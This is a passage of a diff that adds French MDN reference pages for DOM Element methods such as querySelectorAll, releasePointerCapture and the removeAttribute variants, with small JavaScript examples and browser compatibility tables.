+<p>[1] <code>querySelector()</code> est pris en charge dans IE 8, mais uniquement pour les sélecteurs CSS 2.1.</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs">Localisation des éléments DOM avec les sélecteurs</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_d_attribut">Sélecteurs d'attribut</a> dans le guide CSS</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Sélecteurs d'attribut</a> dans la zone d'apprentissage MDN</li>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+ <li>{{domxref("document.querySelector()")}} et {{domxref("Document.querySelectorAll()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} et {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} et {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector">Exemples de code pour querySelector</a></li>
+ <li>autres méthodes qui prennent des sélecteurs : {{domxref("element.closest()")}} et {{domxref("element.matches()")}}.</li>
+</ul>
diff --git a/files/fr/web/api/element/queryselectorall/index.html b/files/fr/web/api/element/queryselectorall/index.html
new file mode 100644
index 0000000000..08c0e64631
--- /dev/null
+++ b/files/fr/web/api/element/queryselectorall/index.html
@@ -0,0 +1,231 @@
+---
+title: Element.querySelectorAll()
+slug: Web/API/Element/querySelectorAll
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthode
+  - Reference
+translation_of: Web/API/Element/querySelectorAll
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode  <code><strong>querySelectorAll()</strong></code> de {{domxref("Element")}} retourne une  {{domxref("NodeList")}} non-directe des éléments correspondants au groupe de selecteurs CSS spécifiés qui sont des descendants de l'élément sur lequel la méthode a été appelée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La définition de cet API a été déplacée vers l'interface {{domxref("ParentNode")}} .</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>elementList</em> = baseElement.querySelectorAll(<em>selectors</em>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>selectors</code> </dt>
+ <dd>une {{domxref("DOMString")}} contenant un ou plusieurs sélecteurs à comparer. Cette chaîne doit être valide pour les <a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_CSS">sélecteurs CSS</a> ; si ce n'est pas le cas, une exception <code>SyntaxError</code> est levée. Voir <a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs">Localisation des éléments DOM avec les sélecteurs</a> pour plus d'informations sur l'utilisation des sélecteurs pour identifier les éléments. Plusieurs sélecteurs peuvent être spécifiés en les séparant par une virgule.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Les caractères qui ne font pas partie de la syntaxe CSS standard doivent être échappés à l'aide d'une barre oblique inverse. Puisque JavaScript utilise également l'échappement en retour arrière, un soin particulier doit être pris lors de l'écriture de littéraux de chaîne utilisant ces caractères.</p>
+</div>
+
+<h3 id="Example" name="Example">Valeur retournée</h3>
+
+<p>Une {{domxref ("NodeList")}} contenant un objet {{domxref ("Element")}} pour chaque noeud descendant qui correspond à au moins un des sélecteurs spécifiés.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si le <code>selectors</code> spécifié inclus un <a href="https://developer.mozilla.org/fr/docs/Web/CSS/Pseudo-elements">pseudo-element CSS</a>, la liste renvoyée est toujours vide.</p>
+</div>
+
+<h3 id="Example" name="Example">Exception</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>La syntaxe de la chaîne du <code>selectors</code> spécifié n'est pas correcte.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<h3 id="Obtention_d'une_liste_de_correspondances">Obtention d'une liste de correspondances</h3>
+
+<p>Pour obtenir une {{domxref("NodeList")}} de tous les éléments {{HTMLElement("p")}} contenus dans l'élément <code>"myBox"</code> :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> matches <span class="operator token">=</span> myBox<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">"p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Cet exemple renvoie une liste de tous les éléments {{HTMLElement("div")}} dans <code>"myBox"</code>  avec une classe  "<code>note</code>" ou  "<code>alert</code>" :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> matches <span class="operator token">=</span> myBox<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">"div.note, div.alert"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Ici, nous obtenons une liste d'éléments <code>p</code> du document, dont le parent immédiat est un {{domxref("div")}}  qui a la classe <code>'highlighted'</code> et qui sont inclus dans un conteneur dont l'ID est <code>"test"</code> :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> container <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"#test"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> matches <span class="operator token">=</span> container<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">"div.highlighted &gt; p"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Cet exemple utilise un <a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_d_attribut">sélecteur d'attribut</a> pour renvoyer une liste d'éléments {{domxref("iframe")}} du document lesquels contiennent un attribut nommé <code>'data-src'</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> matches <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">"iframe[data-src]"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Ici, un sélecteur d'attribut est utilisé pour renvoyer une liste des éléments de la liste contenus dans une liste dont l'ID est <code>"userlist"</code> et qui ont un attribut <code>"data-active"</code> dont la valeur est <code>"1"</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> container <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"#userlist"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> matches <span class="operator token">=</span> container<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">"li[data-active=1]"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Accès_aux_correspondances">Accès aux correspondances</h3>
+
+<p>Une fois que la {{domxref("NodeList")}} des éléments correspondants est retournée, vous pouvez l'examiner pour n'importe quel tableau (<em>array</em>). Si le tableau est vide (sa propriété <code>length</code> est 0), alors aucune correspondance n'a été trouvée.</p>
+
+<p>Sinon, vous pouvez simplement utiliser la notation de tableau standard pour accéder au contenu de la liste. Vous pouvez utiliser n'importe quelle instruction de boucle commune, telle que :</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> highlightedItems <span class="operator token">=</span> userList<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">".highlighted"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+highlightedItems<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>userItem<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="function token">deleteUser</span><span class="punctuation token">(</span>userItem<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes d'utilisation</h2>
+
+<p><code>queryselectorAll</code> se comporte différemment des bibliothèques DOM JavaScript les plus courantes, ce qui peut entraîner des résultats inattendus.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Considérons ce code HTML, avec ses trois blocs {{HTMLElement ("div")}} imbriqués.</p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>outer<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>select<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>inner<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> select <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.select'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> inner <span class="operator token">=</span> select<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">'.outer .inner'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+inner<span class="punctuation token">.</span>length<span class="punctuation token">;</span> <span class="comment token">// 1, pas 0!</span></code></pre>
+
+<p>Dans cet exemple, en sélectionnant <code>".outer .inner"</code> dans le contexte <code>&lt;div&gt; </code>avec la classe <code>"select"</code>, l'élément avec la classe <code>".inner"</code> est toujours trouvé, même si <code>.outer</code> n'est pas un descendant de l'élément sur lequel la recherche est effectuée <code>(".select")</code>. Par défaut, <code>querySelectorAll()</code> vérifie uniquement que le dernier élément du sélecteur se trouve dans la portée de la recherche.</p>
+
+<p><span lang="fr"><span>La pseudo-classe {{cssxref (": scope")}} restaure le comportement attendu, ne faisant correspondre les sélecteurs que sur les descendants de l'élément de base :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> select <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.select'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> inner <span class="operator token">=</span> select<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">':scope .outer .inner'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+inner<span class="punctuation token">.</span>length<span class="punctuation token">;</span> <span class="comment token">// 0</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>norme actuelle</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Définition originale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>8</td>
+   <td>10</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>:scope</code> pseudo-class</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>32</td>
+   <td>{{CompatNo}}</td>
+   <td>15<sup>[1]</sup></td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>:scope</code> pseudo-class</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>32</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Pris en charge dans Opera 15+ en activant les balises "<strong>Enable &lt;style scoped&gt;</strong>" ou "<strong>Enable experimental Web Platform features</strong>" dans <code>chrome://flags</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+</div>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs">Localisation des éléments DOM avec les sélecteurs</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_d_attribut">Sélecteurs d'attribut</a> dans le guide CSS</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors">Sélecteurs d'attribut</a> dans la zone d'apprentissage de MDN</li>
+ <li>{{domxref("element.querySelector()")}}</li>
+ <li>{{domxref("Document.querySelector()")}} et {{domxref("Document.querySelectorAll()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} et {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("document.querySelector()")}} et {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/Add-ons/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector">Extraits de code pour <code>querySelector</code></a></li>
+</ul>
diff --git a/files/fr/web/api/element/releasepointercapture/index.html b/files/fr/web/api/element/releasepointercapture/index.html
new file mode 100644
index 0000000000..be7f127da3
--- /dev/null
+++ b/files/fr/web/api/element/releasepointercapture/index.html
@@ -0,0 +1,148 @@
+---
+title: Element.releasePointerCapture()
+slug: Web/API/Element/releasePointerCapture
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthodes
+  - Pointeur
+translation_of: Web/API/Element/releasePointerCapture
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Relâche (arrête) la capture de pointeur précédemment définie pour un <em>pointer</em> ({{domxref("PointerEvent")}}) spécifique.</p>
+
+<p>Voir la méthode <strong>{{domxref("Element.setPointerCapture","Element.setPointerCapture()")}}</strong> pour une description de <em>pointer capture </em>et la façon de le définir pour un élément particulier.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">targetElement.<em>releasePointerCapture</em>(pointerId);
+</pre>
+
+<h3 id="Arguments">Arguments</h3>
+
+<dl>
+ <dt><em>pointerId</em></dt>
+ <dd>L'{{domxref("PointerEvent.pointerId","identifiant")}} pour un {{domxref("PointerEvent","pointer event")}}.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Si <code>pointerId</code> ne correspond à aucun pointeur actif, cette méthode renvoie <code>void</code> (<em>vide</em>) et déclenche une {{domxref("DOMException")}} avec le nom <code>InvalidPointerId</code>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;script&gt;
+function downHandler(ev) {
+ var el=document.getElementById("target");
+ // L'élément "target" va recevoir/capturer d'autres évènements
+ el.setPointerCapture(ev.pointerId);
+}
+function cancelHandler(ev) {
+ var el=document.getElementById("target");
+ // Relâche la capture du pointeur
+ el.releasePointerCapture(ev.pointerId);
+}
+function init() {
+ var el=document.getElementById("target");
+ // Enregistre les gestionnaires du pointeur
+ el.onpointerdown = downHandler;
+ el.onpointercancel = cancelHandler;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2','#widl-Element-releasePointerCapture-void-long-pointerId', 'releasePointerCapture')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Version non stable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#widl-Element-releasePointerCapture-void-long-pointerId', 'releasePointerCapture')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("35")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(59)}}</td>
+   <td>10 {{property_prefix("-ms")}}<br>
+    11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome("35")}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("29")}}<sup>[2]</sup></td>
+   <td>10 {{property_prefix("-ms")}}<br>
+    11</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] A été pris en charge dans <a href="http://crbug.com/248918">bug 248918</a>.</p>
+
+<p>[2] Supporté avec la préférence <code>dom.w3c_pointer_events.enabled</code> par défaut à <code>false</code> (<em>faux</em>).</p>
+
+<p> </p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("Element.setPointerCapture","Element.setPointerCapture()") }}</li>
+ <li>{{ domxref("Pointer_events","Pointer Events") }}</li>
+</ul>
diff --git a/files/fr/web/api/element/removeattribute/index.html b/files/fr/web/api/element/removeattribute/index.html
new file mode 100644
index 0000000000..1a1d2fde8f
--- /dev/null
+++ b/files/fr/web/api/element/removeattribute/index.html
@@ -0,0 +1,51 @@
+---
+title: element.removeAttribute
+slug: Web/API/Element/removeAttribute
+tags:
+  - API
+  - Attributs
+  - DOM
+  - Element
+  - Méthodes
+  - Suppression
+translation_of: Web/API/Element/removeAttribute
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>removeAttribute</code> supprime un attribut de l'élément spécifié.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>element</em>.removeAttribute(<em>nomAttribut</em>);
+</pre>
+
+<ul>
+ <li><code>nomAttribut</code> est une chaîne de caractères représentant le nom de l'attribut à enlever de l'<em>element</em> .</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre>// avant : &lt;div id="div1" align="left" width="200"&gt;
+document.getElementById("div1").removeAttribute("align");
+// maintenant : &lt;div id="div1" width="200"&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Il vaut mieux utiliser <code>removeAttribute</code> plutôt que de définir la valeur de l'attribut à <code>null</code> avec <a href="fr/DOM/element.setAttribute">setAttribute</a>.</p>
+
+<p>Tenter d'effacer un attribut que l'élément ne possède pas ne provoque aucune exception.</p>
+
+<p><code>removeAttribute</code> ne renvoie rien, donc vous ne pouvez supprimer plusieurs attributs par enchaînement de cette méthode.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6D6AC0F9">DOM Level 2 Core : removeAttribute</a> — <small><a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-6D6AC0F9">traduction en français</a> (non normative)</small></li>
+</ul>
+
+<p><span class="comment">Interwiki Language Links</span></p>
+
+<div class="noinclude"> </div>
diff --git a/files/fr/web/api/element/removeattributenode/index.html b/files/fr/web/api/element/removeattributenode/index.html
new file mode 100644
index 0000000000..ebee4f2e03
--- /dev/null
+++ b/files/fr/web/api/element/removeattributenode/index.html
@@ -0,0 +1,45 @@
+---
+title: element.removeAttributeNode
+slug: Web/API/Element/removeAttributeNode
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthodes
+translation_of: Web/API/Element/removeAttributeNode
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>removeAttributeNode</code> enlève l'attribut spécifié de l'élément courant.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>removedAttr</em> =<em>element</em>.removeAttributeNode(<em>attributeNode</em>)
+</pre>
+
+<ul>
+ <li><code>attributeNode</code> est le nœud <code>Attr</code> à enlever.</li>
+ <li><code>removedAttr</code> est le nœud <code>Attr</code> qui vient d'être enlevé.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="line-numbers  language-html"><code class="language-html">// <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>top<span class="punctuation token">"</span></span> <span class="attr-name token">align</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>center<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+var d = document.getElementById("top");
+var d_align = d.getAttributeNode("align");
+d.removeAttributeNode(d_align);
+// align est maintenant supprimé : <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>top<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span></code></pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Si l'attribut enlevé a une valeur par défaut, celle-ci remplace immédiatement l'ancienne. Lorsque c'est possible, l'attribut de remplacement conserve la même URI d'espace de noms et le même nom local, ainsi que le préfixe original.</p>
+
+<p>Il n'y a pas de <code>removeAttributeNodeNS</code> (contrairement à la paire <code>setAttributeNode</code> et <code>setAttributeNodeNS</code> pour lesquels il est nécessaire de savoir quel attribut remplacer (le cas échéant),  <code>removeAttributeNode</code> n'a pas cette exigence.  <code>removeAttributeNode</code> peut supprimer des attributs, qu'ils soient d'espace de noms ou pas.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-D589198">DOM Level 2 Core : removeAttributeNode</a> — <small><a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-D589198">traduction en français</a> (non normative)</small></li>
+</ul>
diff --git a/files/fr/web/api/element/removeattributens/index.html b/files/fr/web/api/element/removeattributens/index.html
new file mode 100644
index 0000000000..d7ef80e848
--- /dev/null
+++ b/files/fr/web/api/element/removeattributens/index.html
@@ -0,0 +1,44 @@
+---
+title: element.removeAttributeNS
+slug: Web/API/Element/removeAttributeNS
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthodes
+translation_of: Web/API/Element/removeAttributeNS
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>removeAttributeNS</code> supprime l'attribut spécifié d'un élément.</p>
+
+<p>{{ Fx_minversion_inline(3) }} Dans Firefox 3 et postérieurs, cette méthode réinitialise les valeurs DOM à leur valeur par défaut.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>element</em>.removeAttributeNS(<em>namespace</em>,<em>attrName</em>);
+</pre>
+
+<ul>
+ <li><code>namespace</code> est une chaîne qui contient l'espace de noms de l'attribut.</li>
+ <li><code>attrName</code> est une chaîne qui nomme l'attribut à supprimer du noeud en cours.</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre>// &lt;div id="div1" xmlns:special="http://www.mozilla.org/ns/specialspace"
+//      special:specialAlign="utterleft" width="200px" /&gt;
+d = document.getElementById("div1");
+d.removeAttributeNS("http://www.mozilla.org/ns/specialspace", "specialAlign");
+// l'élément est devenu : &lt;div id="div1" width="200px" /&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElRemAtNS">DOM Level 2 Core: removeAttributeNS (en)</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-ElRemAtNS">traduction en français</a> (non normative)</small></li>
+</ul>
diff --git a/files/fr/web/api/element/requestfullscreen/index.html b/files/fr/web/api/element/requestfullscreen/index.html
new file mode 100644
index 0000000000..500c27e029
--- /dev/null
+++ b/files/fr/web/api/element/requestfullscreen/index.html
@@ -0,0 +1,123 @@
+---
+title: Element.requestFullscreen()
+slug: Web/API/Element/requestFullScreen
+tags:
+  - Méthode
+  - Plein écran
+translation_of: Web/API/Element/requestFullScreen
+---
+<div>{{APIRef("Fullscreen API")}}</div>
+
+<p>La méthode <code><strong>Element.requestFullscreen()</strong></code> envoie une requête asynchrone pour que l'élément soit affiché en plein écran.</p>
+
+<p>Il n'y a aucune garantie que l'élément passera effectivement en mode plein écran. Si la permission d'entrer en plein écran est acquise, le document recevra un événement {{event("fullscreenchange")}} pour l'informer qu'il est désormais en mode plein écran. Si la permission est refusée, le document recevra un événement {{event('fullscreenerror')}} à la place.</p>
+
+<p>Cette méthode doit être invoquée par l'interaction d'un utilisateur ou un changement d'orientation du périphérique, sinon elle échouera.</p>
+
+<div class="note">
+<p>Seuls les éléments présents dans l'espace de noms (namespace) HTML (c'est à dire, les éléments qui font partie du standard HTML), ainsi que les éléments {{HTMLElement("svg")}} et {{HTMLElement("math")}}, qui se trouvent dans le plus haut niveau du document ou dans une {{HTMLElement('iframe')}} avec l'attribut {{htmlattrxref("allowfullscreen", "iframe")}} peuvent être affichés en plein écran. Cela signifie que les éléments se trouvant dans une {{HTMLElement('frame')}} ou un {{HTMLElement('object')}} ne le peuvent pas.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>Element</em>.requestFullscreen();
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Avant d'appeler <code>requestFullScreen()</code>, mettez en place des gestionnaires (handlers) pour les évenements  {{event("fullscreenchange")}} et {{event("fullscreenerror")}}, pour savoir lorsque vous avez réussi à passer en mode plein écran (ou lorsque la permission de le faire a été refusée).</p>
+
